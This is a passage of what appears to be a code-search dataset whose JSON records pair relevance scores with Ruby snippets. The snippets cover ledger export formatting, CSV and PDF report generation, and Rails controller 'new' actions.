open_subtotals)\n end", "title": "" }, { "docid": "3cd7faffc66076227adfe2cc3a7cf569", "score": "0.51963246", "text": "def generate_export_file_deprecated(journal_rows)\n\n output = \"\"\n\n header_content = generate_export_header()\n output << header_content << \"\\n\"\n\n records = 0\n file_amt = 0\n\n # An increasing sequential number beginning with zero. Should be the same for each Debit(D) and Credit(C) entry.\n doc_num = 0\n\n puts(\"there are #{journal_rows.count} journal_rows\")\n\n journal_rows.each do |journal_row|\n od = journal_row.order_detail\n next unless journal_row.order_detail\n # TODO: move some of this logic to the model?\n prod = journal_row.order_detail.product\n facility_initials = od.facility.name.scan(/([A-Z])/).join\n date = od.created_at.strftime(\"%Y-%m-%d\")\n aan_out = od.account.account_number\n fan_out = prod.facility_account.account_number\n\n\n raise \"not a kfs account: #{aan_out}\" unless aan_match = aan_out.match(/^KFS-(?<acct_num>\\d{0,7})-(?<obj_code>\\d{4})$/)\n raise \"not a kfs account: #{fan_out}\" unless fan_match = fan_out.match(/^KFS-(?<acct_num>\\d{0,7})-(?<obj_code>\\d{4})$/)\n\n bal_record_type = \"AC\"\n doc_type = \"CLTR\"\n orig_code = \"CC\"\n doc_from_char = \"C\"\n doc_num_as_str = doc_num.to_s\n desc = \"#{facility_initials}|#{prod.name}|#{date}\"[0..39]\n dollar_amt = od.actual_cost.format(symbol: '')\n tx_dollar_amt = dollar_amt.to_s(\"F\")\n\n puts(\"actual_cost | dollar_amt | tx_dollar_amt = #{od.actual_cost} | #{dollar_amt} | #{tx_dollar_amt}\")\n\n ref_field_1 = od.order_id.to_s\n ref_field_2 = od.id.to_s\n\n # make the LedgerEntry to track this export\n tracking_row = LedgerEntry.new(\n batch_sequence_number: @batch_sequence_number,\n document_number: doc_num,\n exported_on: DateTime.now,\n journal_row: journal_row\n )\n tracking_row.kfs_status = \"pending\"\n tracking_row.save!\n\n\n # Comments indicate the corresponding fields specified in the\n # \"General Ledger (GL) Credit Entry\" and \"General Ledger (GL) Debit Entry\" sections\n # of the \"Collector Batch Format\" document\n [\n { :match => aan_match, :code => \"D\" },\n { :match => fan_match, :code => \"C\" },\n ].each { |data|\n entry = [\n\n # \"Fiscal Year\" - Changes on July 1st\n @fiscal_year.ljust(4),\n\n # \"Chart of Accounts code\"\n @chart_accounts_code.ljust(2),\n\n # \"Account Number\" - Account number to be credited or debited\n data[:match][:acct_num].ljust(7),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 5,\n\n # \"Object Code\" - Object Code to be credited or debited\n data[:match][:obj_code].ljust(4),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 3,\n\n # \"Balance Type\"\n bal_record_type.ljust(2),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 4,\n\n # \"Document Type\"\n doc_type.ljust(4),\n\n # \"Origin Code\"\n orig_code.ljust(2),\n\n # \"Document Number – 1st position\"\n doc_from_char.ljust(1),\n\n # \"Document Number – 2 thru 14\"\n # An increasing sequential number beginning with zero.\n # Should be the same for each Debit(D) and Credit(C) entry.\n doc_num_as_str.rjust(13, \"0\"),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 5,\n\n # \"Description\" - Transaction Description\n desc.ljust(40),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 1,\n\n # \"Transaction Dollar Amount\"\n # Amount to be credited or debited, must include decimal point, for example 00000000000000114.00\n tx_dollar_amt.rjust(20, \"0\"),\n\n # \"Debit/Credit code\"\n # \"C\" for Credit, \"D\" for Debit\n data[:code].ljust(1),\n\n # \"Transaction Date\" - Format CCYY-MM-DD\n date.ljust(10),\n\n # \"Organization Document Number\"\n # \"Usually FRS Reference 1 fields, as long as amount is not to be encumbered.\"\n ref_field_1.ljust(10),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 10,\n\n # \"Organization Reference ID\"\n # \"Usually FRS Reference 2 fields, as long as amount is not to be encumbered.\"\n ref_field_2.ljust(8),\n\n # \"Filler\" - Blanks or spaces\n \" \" * 31,\n ]\n records += 1\n doc_num += 1\n file_amt += dollar_amt\n\n output << entry.join(\"\") << \"\\n\"\n }\n end\n\n trailer_record = generate_trailer_record(records, file_amt)\n\n output << trailer_record << \"\\n\"\n\n return output\n end", "title": "" }, { "docid": "02360517ddeb24e421f06421dbc57b98", "score": "0.51948136", "text": "def summarize(h)\n puts \"SUMMARY:\"\n puts \"'name' = #{h[:name]}.\"\n puts \"'age' is #{h[:age]}.\"\n puts \"'number_of_children' is #{h[:number_of_children]}.\"\n puts \"'decor_theme' is #{h[:decor_theme]}.\"\n puts \"'budget' is $#{h[:budget]}.\"\n puts \"'repeat_customer' is #{h[:repeat_customer]}\"\n puts \"'premium_status' is #{h[:premium_status]}\"\n return h\nend", "title": "" }, { "docid": "a94a372fa1edd1111b52ebbe9e581514", "score": "0.5191688", "text": "def foot_data_headers_1\n\n #{@purchaseorder.description}\n \n client_data_headers_1 = [[\"Cliente : \", $lcCli]]\n client_data_headers_1 << [\"RUC : \", $lcRucCli]\n client_data_headers_1 << [\"Direccion : \", $lcDircli]\n client_data_headers_1 << [\"Contrato : \", $lcContrato]\n client_data_headers_1\n \n \n end", "title": "" }, { "docid": "4e3eeba352884e1fc3934c046b786cbf", "score": "0.51910305", "text": "def format_table data\n widths=colsizes(data)\n widths[\"finishtime\"],widths[\"starttime\"] = 19,19\n data.inject(\"\") { |string,r| \n string+\"#{r.id.to_s.ljust(widths[\"id\"])}|#{r.name.ljust(widths[\"name\"])}|#{unix_to_standard(r.starttime).ljust(19)}|#{unix_to_standard(r.finishtime).ljust(19)}|#{DB::Category.find(r.category_id).name}\\n\" \n }\n end", "title": "" }, { "docid": "bfba65d219b3f7dd6e1d25873e78e74e", "score": "0.5190474", "text": "def get_details(quotation,person,policy,vehicle,incidents)\n\n underwriter_details = {underwriter: 'DTC Insurance Underwriter',premium: quotation.premium}\n person_hash = {\n title: person[:title],\n forename: person[:forename],\n surname: person[:surname],\n email: person[:email],\n dob: person[:dob],\n telephone: person[:telephone],\n street: person[:street],\n city: person[:city],\n county: person[:county],\n postcode: person[:postcode],\n license_type: person[:license_type],\n license_period: person[:license_period],\n occupation: person[:occupation],\n number_incidents: person[:number_incidents]\n }\n policy_hash = {\n excess: policy[:excess],\n breakdown_cover: policy[:breakdown_cover],\n windscreen_cover: policy[:windscreen_cover]\n }\n vehicle_hash = {\n registration: vehicle[:registration],\n mileage: vehicle[:mileage],\n estimated_value: vehicle[:estimated_value],\n parking: vehicle[:parking],\n start_date: vehicle[:start_date]\n }\n incidents_hash = {}\n if(person[:number_incidents].to_i>0)\n (1..person[:number_incidents].to_i).each do |i|\n incidents_hash[:\"incident_date#{i}\"] = incidents[i-1][:incident_date]\n incidents_hash[:\"claim_sum#{i}\"] = incidents[i-1][:claim_sum]\n incidents_hash[:\"incident_type#{i}\"] = incidents[i-1][:incident_type]\n incidents_hash[:\"description#{i}\"] = incidents[i-1][:description]\n end\n end\n full_details = underwriter_details.merge(person_hash).merge(vehicle_hash).merge(incidents_hash).merge(policy_hash)\n return full_details\n\n end", "title": "" }, { "docid": "c2b5106537236b4ca2ab13bb583af743", "score": "0.51840824", "text": "def to_csv\n\t\tCSV.generate(headers: true) do |csv|\n\t\t\tcsv << [self.name]\n\t\t\tcsv << [self.description]\n\t\t\tcsv << [self.bom_category.name]\n\t\t\tcsv << [self.created_at.to_date]\n\t\t\tcsv << []\n\t\t\t# puts \">>>>>>>>>>> Dates <<<<<<<<<<<<<<<<<\"\n\t\t\t# puts self.created_at.to_date\n\t\t\tself.part_modules.order('part_module.part.sub_category.part_category.name')\n\t\t\toutputs = Hash.new\n\n\t\t\tself.part_modules.each do |part_item|\n\t\t\t\tif outputs.has_key? part_item.part.id\n\t\t\t\t\toutputs[part_item.part.id].push(part_item)\n\t\t\t\telse\n\t\t\t\t\toutputs[part_item.part.id] = []\n\t\t\t\t\toutputs[part_item.part.id].push(part_item)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tprinted_part_category = \"\"\n\t\t\tchanged = true\n\t\t\theaders = Hash.new\n\t\t\tfinal_outputs = Hash.new\n\t\t\toutputs.each do |key, output|\n\t\t\t\tif printed_part_category.eql? output[0].part.sub_category.part_category.name\n\t\t\t\t\tchanged = false\n\t\t\t\telse\n\t\t\t\t\tprinted_part_category = output[0].part.sub_category.part_category.name\n\t\t\t\t\tchanged = true\n\t\t\t\tend\n\n\t\t\t\theader = [\"Part Name\", \"Part Description\", \"Manufacturer Part Number\", \"Created At\"]\n\t\t\t\trow = []\n\t\t\t\trow.push(output[0].part.part_name)\n\t\t\t\trow.push(output[0].part.part_description)\n\t\t\t\trow.push(output[0].part.number.empty? ? \"\" : output[0].part.number)\n\t\t\t\trow.push(output[0].part.created_at.to_date)\n\t\t\t\toutput.each do | part_item |\n\t\t\t\t\tif header.include? \"Cost@#{part_item.count}\"\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tif part_item.count > 2499\n\t\t\t\t\t\tper_piece_price = part_item.part.price_2500.to_f\n\t\t\t\t\telsif part_item.count > 999\n\t\t\t\t\t\tper_piece_price = part_item.part.price_1000.to_f\n\t\t\t\t\telsif part_item.count > 499\n\t\t\t\t\t\tper_piece_price = part_item.part.price_500.to_f\n\t\t\t\t\telsif part_item.count > 249\n\t\t\t\t\t\tper_piece_price = part_item.part.price_250.to_f\n\t\t\t\t\telse\n\t\t\t\t\t\tper_piece_price = part_item.part.price.to_f\n\t\t\t\t\tend\n\n\t\t\t\t\trow.push(\"$#{per_piece_price}\")\n\t\t\t\t\theader.push(\"Cost@#{part_item.count}\")\n\t\t\t\tend\n\t\t\t\theaders[output[0].part.sub_category.part_category.name] = header\n\n\t\t\t\tif final_outputs.has_key? output[0].part.sub_category.part_category.name\n\t\t\t\t\tfinal_outputs[output[0].part.sub_category.part_category.name].push(row)\n\t\t\t\telse\n\t\t\t\t\tfinal_outputs[output[0].part.sub_category.part_category.name] = []\n\t\t\t\t\tfinal_outputs[output[0].part.sub_category.part_category.name].push(row)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfinal_outputs.each do |key, final_result|\n\t\t\t\tcsv << [key]\n\t\t\t\tcsv << headers[key]\n\t\t\t\tfinal_result.each do |part|\n\t\t\t\t\tcsv << part\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a4f4b051ef509b46bc34787175813529", "score": "0.5176341", "text": "def to_s\n return \"#{year} #{make} #{model}\"\n end", "title": "" }, { "docid": "62941b1230bef1bd0232eedd3a2034d2", "score": "0.5171418", "text": "def details\n return @description + \"; \" + @firm + \"; \" + @color + \": \" + \"#{@cost}\"\n end", "title": "" }, { "docid": "ddeb58f0de0d94b1b0485fdc68040e36", "score": "0.5170424", "text": "def import_debt_summary(oo)\n date = read_via_numeral(7,1).split(\" \") if !read_via_numeral(7,1).nil? && read_via_numeral(7,1).class == String\n month,year = Date::MONTHNAMES.index(date[0].capitalize), date[1].to_i unless date.blank?\n if month.nil? and year.nil?\n time=Time.now\n month,year=time.month,time.year\n end\n PropertyDebtSummary.delete_all(['real_estate_property_id = ? and month = ? and year = ? ', @prop_id, month, year])\n start_parse = false\n 1.upto(find_last_base_cell) do | row |\n if !start_parse and !read_via_numeral_abs(row, 1, 1).blank? and read_via_numeral_abs(row, 1, 1).downcase == 'category' then start_parse = true ; next end\n next if read_via_numeral_abs(row, 1, 1).blank? or !start_parse\n if !read_via_numeral_abs(row, 1, 1).blank? and !read_via_numeral_abs(row, 2, 1).blank? and read_via_numeral_abs(row, 1, 1).downcase.delete(\":\") != 'borrower'\n PropertyDebtSummary.create(:real_estate_property_id=>@prop_id, :category=>read_via_numeral_abs(row, 1, 1).delete(\":\"), :description=>read_via_numeral_abs(row, 2, 1), :month=>month, :year=>year)\n end\n end\n end", "title": "" }, { "docid": "73e1558c6fc62edba78ac8257d2e7e2f", "score": "0.5168085", "text": "def amounts\n puts $perfect_10_recipe.values\nend", "title": "" }, { "docid": "bde5a0af77862eec49d569481b088552", "score": "0.5163932", "text": "def write_income_and_deduction(pdf,income_and_deduction)\n pdftext \"Head Salaries\" , amount_to_pdf_string(income_and_deduction.incomeFromSal)\n pdftext \"Family pension\" , amount_to_pdf_string(income_and_deduction.famPension)\n pdftext \"Interest\" , amount_to_pdf_string(income_and_deduction.indInterest)\n \n # TODO - assuming that sum of Family Pension and Interest has been done already and\n # proper value saved in incomeFromOS , grossTotIncome , totalChapVIADeductionsfield\n # totalIncome and aggregateIncome. do the calculations somewhere if not taking from user\n pdftext \"Total 2a+2b\", amount_to_pdf_string(income_and_deduction.incomeFromOS)\n pdftext \"Gross Total Income\", amount_to_pdf_string(income_and_deduction.grossTotIncome)\n \n pdftext \"80C\" , amount_to_pdf_string(income_and_deduction.section80C)\n pdftext \"80CCC\" , amount_to_pdf_string(income_and_deduction.section80CCC)\n pdftext \"80CCD\" , amount_to_pdf_string(income_and_deduction.section80CCD)\n pdftext \"80D\" , amount_to_pdf_string(income_and_deduction.section80D)\n pdftext \"80DD\" , amount_to_pdf_string(income_and_deduction.section80DD)\n pdftext \"80DDB\" , amount_to_pdf_string(income_and_deduction.section80DDB)\n pdftext \"80E\" , amount_to_pdf_string(income_and_deduction.section80E)\n pdftext \"80G\" , amount_to_pdf_string(income_and_deduction.section80G)\n pdftext \"80GG\" , amount_to_pdf_string(income_and_deduction.section80GG)\n pdftext \"80GGA\" , amount_to_pdf_string(income_and_deduction.section80GGA)\n pdftext \"80GGC\" , amount_to_pdf_string(income_and_deduction.section80GGC)\n pdftext \"80U\" , amount_to_pdf_string(income_and_deduction.section80U)\n\n pdftext \"Total Deductions under chapter VI A Section\", amount_to_pdf_string(income_and_deduction.totalChapVIADeductions)\n pdftext \"Total Income\", amount_to_pdf_string(income_and_deduction.totalIncome)\n \n pdftext \"Net Agricultural Income\" , amount_to_pdf_string(income_and_deduction.netAgriculturalIncome) \n pdftext \"Aggregate Income 5+6\", amount_to_pdf_string(income_and_deduction.aggregateIncome)\n end", "title": "" }, { "docid": "4f628a87dcf39831dd834f495c4fa4ac", "score": "0.5162766", "text": "def generate\n csv_string = \"\"\n is_payer_content_layout = operation_log_config.content_layout.downcase == \"by payer\"\n is_eob_content_layout = operation_log_config.content_layout.downcase == \"by eob\"\n csv_string << csv_summary if is_payer_content_layout\n csv_string << csv_header\n csv_string << transactions\n csv_string << csv_summary if is_eob_content_layout\n csv_string unless csv_string.blank?\n end", "title": "" }, { "docid": "f83d18b014485fe97ccc4ff8d47a06ce", "score": "0.5158802", "text": "def components_license_summary\n out = \"\\n\\n\"\n\n license_map.keys.sort.each do |name|\n license = license_map[name][:license]\n license_files = license_map[name][:license_files]\n version = license_map[name][:version]\n\n out << \"This product bundles #{name} #{version},\\n\"\n out << \"which is available under a \\\"#{license}\\\" License.\\n\"\n unless license_files.empty?\n out << \"For details, see:\\n\"\n license_files.each do |license_file|\n out << \"#{license_package_location(name, license_file)}\\n\"\n end\n end\n out << \"\\n\"\n end\n\n out\n end", "title": "" }, { "docid": "50cb5ddad0c855b2e81cdb8c73c0f4c2", "score": "0.51501036", "text": "def modeler_description\n return \"Exports all available timeseries enduses, subcategories, and output variables to csv file(s).\"\n end", "title": "" }, { "docid": "f7b2a6762031367aadb2ced97bd7de73", "score": "0.514987", "text": "def to_csv\n id.to_s << \",\" << time_in.to_s << \",\" << time_out.to_s << \",\" << date.to_s << \",\" << description\n end", "title": "" }, { "docid": "37d9eb7008a17aa27d980f7225bca43c", "score": "0.51436776", "text": "def printf_fin_calendar_fields( key_id, fin_calendar_row )\n puts \"| %35s | %04s | %3s | %06s | %20s | %45s | %40s | %01s | %01s | %01s |\" % [\n key_id,\n fin_calendar_row.calendar_year.to_s,\n fin_calendar_row.calendar_month[0..2].to_s,\n fin_calendar_row.calendar_date.to_s,\n fin_calendar_row.calendar_place.to_s,\n fin_calendar_row.calendar_name.to_s,\n fin_calendar_row.goggles_meeting_code,\n (fin_calendar_row.results_link ? 'R' : ''),\n (fin_calendar_row.startlist_link ? 'S' : ''),\n (fin_calendar_row.manifest_link ? 'M' : '')\n ]\n end", "title": "" }, { "docid": "cff82905a5da4af2e2de02d48a08b42a", "score": "0.5141651", "text": "def sub_detail_headers(title, real_id, year)\n IncomeAndCashFlowDetail.find_by_sql(\"select id from income_and_cash_flow_details where title='#{title}' and resource_id=#{real_id} and year=#{year} and resource_type='RealEstateProperty';\").first.id rescue nil\n end", "title": "" }, { "docid": "641154d7f423b61e21861c73347e6473", "score": "0.5140745", "text": "def description\n\t\tdescription = self.brand + \" \" + self.model + \" \" + self.year.to_s\n\tend", "title": "" }, { "docid": "5ff5387a9d23dce5936291688c9f7752", "score": "0.5140103", "text": "def get_sector_summary\n data = []\n doc = get_url_data(G_FINANCE_HOMEPAGE) # retrieve html from google finance\n doc = doc.at_css(SECTOR_SUMMARY) # parse and retrieve sector changes\n doc = format_sector_summary(doc)\n return doc\nend", "title": "" }, { "docid": "c7d43fa300a9c3b5902dd9fb0d0f62e3", "score": "0.5140003", "text": "def output(fragment, identifier, content)\n prefix = \"ocd-division/country:ca/#{fragment}\"\n identifier = identifier.to_s\n content = content.to_s\n\n # Convert double dashes.\n identifier.gsub!('--', '—')\n content.gsub!('--', '—')\n\n # Remove extra whitespace.\n identifier = identifier.to_s.gsub(/\\p{Space}+/, \" \").strip\n\n # \"Uppercase characters should be converted to lowercase.\"\n identifier = UnicodeUtils.downcase(identifier)\n\n # \"Spaces should be converted to underscores.\"\n identifier.gsub!(/\\p{Space}/, \"_\")\n\n # \"All invalid characters should be converted to tilde (~).\"\n identifier.gsub!(/[^\\p{Ll}\\d._~-]/, \"~\")\n\n # \"Leading zeros should be dropped unless doing so changes the meaning of the identifier.\"\n identifier.sub!(/\\A0+/, \"\")\n\n puts CSV.generate_line([prefix + identifier, content.strip])\nend", "title": "" }, { "docid": "bca06756b95548e237a66d7c34af0f8e", "score": "0.51385546", "text": "def gift_table_content\n [['ID', 'Activity Name', 'Gift Date', 'Gift Amount']] +\n @gifts.map do |gift|\n giftAmount = number_to_currency(gift.amount, precision: 0)\n [\"GFT\" + gift.id.to_s, Activity.find(gift.activity).name, gift.donation_date.strftime(\"%b %d, %Y\"), giftAmount]\n end\n end", "title": "" }, { "docid": "b8b47377c41bdb9743b4e3f1a455a632", "score": "0.5138488", "text": "def fields\n %i[ position_title employee_type request_type\n contractor_name number_of_months annual_base_pay\n nonop_funds nonop_source justification organization__name unit__name\n review_status__name review_comment user__name created_at updated_at ]\n end", "title": "" }, { "docid": "90d41df5fec6fa28fe5762c7730c4ef8", "score": "0.51381385", "text": "def commodities\n %x|#{self.ledger} commodities #{['--file', ENV['TM_FILEPATH']].shelljoin}|.split(/\\n/).map { |c| c.sub(/ \\{.*$/,'')} # Remove price, if any\n end", "title": "" }, { "docid": "9afe442651051ccd47948f42d4e6816d", "score": "0.51354676", "text": "def build_table(sections) #:doc:\n \"<table>\\n\"+sections.join(\"\\n\")+\"\\n</table>\\n\\n\"\n end", "title": "" }, { "docid": "47a43c28abc085300fc96deeea078863", "score": "0.51326233", "text": "def total_line\n {mois:\"Sous total #{@month_year.to_format('%B %Y')}\", title:'', description:'', debit:total_debit, credit:total_credit}\n end", "title": "" }, { "docid": "e64d7b0a1def1ea34800ef98e6def073", "score": "0.5127265", "text": "def details_table_format\n table_data = {:description => @description}\n table_data[:item_type] = get_item_type\n table_data[:due] = @due if @due\n table_data[:priority] = @priority if @priority\n Formatador.display_table([table_data])\n end", "title": "" }, { "docid": "582924e28ee97a8bec5bfa29dbf64491", "score": "0.5121604", "text": "def organise_transactions\n @statement_output = \"date || credit || debit || balance\"\n @transactions.reverse.each do |transaction|\n @statement_output << \"\\n#{transaction[:date]} || #{transaction[:amount]} || #{'%.2f' % transaction[:balance]}\"\n end\n @statement_output\n end", "title": "" }, { "docid": "d1bdaba287005324ab15b147496f844a", "score": "0.51182264", "text": "def generate_output_detail\n actions = [\n {'who' => \"driver\", 'type' =>\"debit\", 'amount' => (@price + deductible_price).round},\n {'who' => \"owner\", 'type' =>\"credit\", 'amount' => (0.7 * @price).round},\n {'who' => \"insurance\", 'type' =>\"credit\", 'amount' => @commission[:insurance_fee].round},\n {'who' => \"assistance\", 'type' =>\"credit\", 'amount' => @commission[:assistance_fee].round},\n {'who' => \"drivy\", 'type' =>\"credit\", 'amount' => (@commission[:drivy_fee] + deductible_price).round},\n ]\n {'id' => @id, 'actions' => actions}\n end", "title": "" }, { "docid": "4b7898834281ed165912ea46c390c425", "score": "0.5115041", "text": "def description id, component, rec\n sections = Sections::sort(rec)\n id+' Sequence:'+component.seqname+\"_#{component.start}:#{component.end} (\"+\n sections.map { |s| \"#{s.first}:#{s.last}\" }.join(', ') +\")\"\n end", "title": "" }, { "docid": "6a59ed7e95d478ebc71d75b7776792f8", "score": "0.51104337", "text": "def section_summary(term = Term.current_term)\n mts = mentor_terms.for_term(term).collect do |mt|\n \"#{mt.title}:#{mt.volunteer ? 'Volunteer' : 'Enrolled'}\"\n end\n if mts.empty?\n \"none\"\n else\n mts.join(',')\n end\n end", "title": "" }, { "docid": "efaae3d49f08671db4eb14caeb2cb5de", "score": "0.5108404", "text": "def to_s\n s = \"Name: #{@name} Query date: #{query_date} Headings: \"\n s += headings.to_s\n s += properties_headings.to_s\n rows.each { |r| s += r.to_s }\n s\n end", "title": "" }, { "docid": "664f4906b3f124b8243dba3876c344d1", "score": "0.51034033", "text": "def dump\n out = \"\\n\"\n out += \"Type : #{@bs['desc_type']}\\n\"\n out += \"Record ID : #{@bs['id']}\\n\"\n out += \"Version : #{@bs['version']}\\n\"\n out += \"System ID : #{@bs['system_id'].strip}\\n\"\n out += \"Volume ID : #{@volName}\\n\"\n out += \"Vol space size : #{@bs[\"vol_space_size#{@suff}\"]} (sectors)\\n\"\n out += \"Vol set size : #{@bs[\"vol_set_size#{@suff}\"]}\\n\"\n out += \"Vol sequence num: #{@bs[\"vol_seq_number#{@suff}\"]}\\n\"\n out += \"Logical blk size: #{@bs[\"log_block_size#{@suff}\"]} (sector size)\\n\"\n out += \"Path table size : #{@bs[\"path_table_size#{@suff}\"]}\\n\"\n out += \"Type 1 path tbl : #{@bs[\"type_1_path_table#{@suff}\"]}\\n\"\n out += \"Opt type 1 pth : #{@bs[\"opt_type_1_path_table#{@suff}\"]}\\n\"\n out += \"Type M path tbl : #{@bs[\"type_m_path_table#{@suff}\"]}\\n\"\n out += \"Opt type M pth : #{@bs[\"opt_type_m_path_table#{@suff}\"]}\\n\"\n out += \"Vol set ID : #{@bs['vol_set_id'].strip}\\n\"\n out += \"Publisher ID : #{@bs['publisher_id'].strip}\\n\"\n out += \"Preparer ID : #{@bs['preparer_id'].strip}\\n\"\n out += \"Application ID : #{@bs['application_id'].strip}\\n\"\n out += \"Copyright : #{@bs['copyright_file_id'].strip}\\n\"\n out += \"Abstract : #{@bs['abstract_file_id'].strip}\\n\"\n out += \"Biblographic : #{@bs['biblographic_file_id'].strip}\\n\"\n out += \"Creation date : #{@bs['creation_date'].strip} (#{@cTime}, tz = #{Util.GetTimezone(@bs['creation_date'])})\\n\"\n out += \"Mod date : #{@bs['modification_date'].strip} (#{@mTime}, tz = #{Util.GetTimezone(@bs['modification_date'])})\\n\"\n out += \"Expiration date : #{@bs['experation_date'].strip} (#{@expirationDate}, tz = #{Util.GetTimezone(@bs['experation_date'])})\\n\"\n out += \"Effective date : #{@bs['effective_date'].strip} (#{@effectiveDate}, tz = #{Util.GetTimezone(@bs['effective_date'])})\\n\"\n out += \"File strct ver : #{@bs['file_structure_version']}\\n\"\n out += \"Application data: #{@bs['application_data'].strip}\\n\"\n end", "title": "" }, { "docid": "28e153fb0694a5722b6c5bccdd3dc86e", "score": "0.5099753", "text": "def details\n return @observation + \"; \" + @infection + \"; \" + @injury + \": \" + \"#{@cost}\"\n end", "title": "" }, { "docid": "d58bcb3d7f7202dba5f319267a284c46", "score": "0.5098124", "text": "def row\n row = [@course.slug]\n row << @course.title\n row << @course.school\n row << @course.term\n row << @course.home_wiki.domain\n row << @course.created_at\n row << @course.start\n row << @course.end\n row << new_or_returning_tag\n row << @course.user_count\n row << new_editors.count\n row << @course.article_count\n row << @course.new_article_count\n row << @course.character_sum\n row << @course.references_count\n row << @course.revision_count\n row << revisions_by_namespace(Article::Namespaces::MAINSPACE)\n row << revisions_by_namespace(Article::Namespaces::TALK)\n row << revisions_by_namespace(Article::Namespaces::USER)\n row << @course.view_sum\n row << @course.upload_count\n row << @course.uploads_in_use_count\n row << @course.upload_usages_count\n row << training_completion_rate\n row << retained_new_editors.count if @per_wiki\n row += per_wiki_counts.values if @per_wiki\n row\n end", "title": "" }, { "docid": "c297594ec8afd55edae5965ff376949d", "score": "0.50916755", "text": "def print_details\n puts \"#{@name} #{@year} #{@system}\"\n end", "title": "" }, { "docid": "fd52e22130329475996011c49d023c1f", "score": "0.508798", "text": "def line\n [email, unlicensed, licence, salutation, language]\n end", "title": "" }, { "docid": "525a98ad9fd23d06bafa97b52bc21ce0", "score": "0.50783235", "text": "def headers\n h = [\"File Number\", \"County\", \"State\", \"Client\", \"Escrow Officer\", \"Close Date\",\n \"Lender\", \"DOT #\", \"Release #\", \"Release Date\"]\n\n if self.job_status.match(/complete/i)\n h << \"Product\"\n else\n h += [\"1st Notice\", \"2nd Notice\"]\n end\n\n h << \"Price\" if self.show_pricing?\n h << \"Billed?\"\n h\n end", "title": "" }, { "docid": "df0f25bfdba6941c2bfe86203a41f175", "score": "0.5075085", "text": "def to_s\n %(\nAccount number: #{account_number}\nInvoice date : #{invoice_date}\nService month : #{invoice_month}\nTotal bill : $#{total_amount}\n\nElectricity Usage\n-----------------\n#{electricity_usage}\n\nGas Usage\n---------\n#{gas_usage}\n\nWater Usage\n-----------\n#{water_usage}\n\n )\n end", "title": "" } ]
258f06ec90f66d6bd1ae98359ce1d1ba
GET /dafts/new GET /dafts/new.json
[ { "docid": "d93694f0c50a2f3353fbb69026bf671e", "score": "0.6175904", "text": "def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @draft }\n end\n end", "title": "" } ]
[ { "docid": "82af7ec9ea2f806d1e1f34f37769874b", "score": "0.668791", "text": "def new\n @todofuken = Todofuken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todofuken }\n end\n end", "title": "" }, { "docid": "cd6b6ba0b1b7a9aa3c683d9b3d5ec4a2", "score": "0.66290075", "text": "def new\n @finder = Finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finder }\n end\n end", "title": "" }, { "docid": "1369c087d49073f316ae2bb2ff77b265", "score": "0.65043443", "text": "def new\n @staffer = Staffer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @staffer }\n end\n end", "title": "" }, { "docid": "29ea0e67059ede4c25fd96c97b1344d5", "score": "0.65010685", "text": "def new\n @search = Search.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @search }\n end\n end", "title": "" }, { "docid": "29ea0e67059ede4c25fd96c97b1344d5", "score": "0.65010685", "text": "def new\n @search = Search.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @search }\n end\n end", "title": "" }, { "docid": "29ea0e67059ede4c25fd96c97b1344d5", "score": "0.65010685", "text": "def new\n @search = Search.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @search }\n end\n end", "title": "" }, { "docid": "29ea0e67059ede4c25fd96c97b1344d5", "score": "0.65010685", "text": "def new\n @search = Search.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @search }\n end\n end", "title": "" }, { "docid": "29ea0e67059ede4c25fd96c97b1344d5", "score": "0.65010685", "text": "def new\n @search = Search.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @search }\n end\n end", "title": "" }, { "docid": "87d5c679fc426ba1365976bec405d3d1", "score": "0.643974", "text": "def new\n @dart = Dart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dart }\n end\n end", "title": "" }, { "docid": "48df2a3af5ddf7f864902d46a25afe50", "score": "0.6412998", "text": "def new\n @foam = Foam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foam }\n end\n end", "title": "" }, { "docid": "e5286612864dcbcd289bdbbbd9e48617", "score": "0.6400092", "text": "def new\n @taf = Taf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @taf }\n end\n end", "title": "" }, { "docid": "ba6ec5c22e28a021a63d5e08bd6db270", "score": "0.6389735", "text": "def new\n @saved_search = SavedSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @saved_search }\n end\n end", "title": "" }, { "docid": "4cc1832e5cc2df4fb5a3cc4bfcee3703", "score": "0.6388467", "text": "def new\n @document = Document.new\n @keyfinding = Keyfinding.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "8636dc9ee0d8588206c5f9177c03f7e8", "score": "0.6376853", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alley }\n end\n end", "title": "" }, { "docid": "609c000da7922d1429d54ba18747275c", "score": "0.63758564", "text": "def new\n redirect_to action: \"latest\"\n @davis = Davis.new\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @davis }\n #end\n end", "title": "" }, { "docid": "e51f1ad91de09e4d7b3f33b08e5efa15", "score": "0.63418174", "text": "def new\n @fixture = Fixture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fixture }\n end\n end", "title": "" }, { "docid": "08ba48fe71e825b099e713e2ae67ccf8", "score": "0.6323249", "text": "def new\n #@search = Search.new\n #\n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: 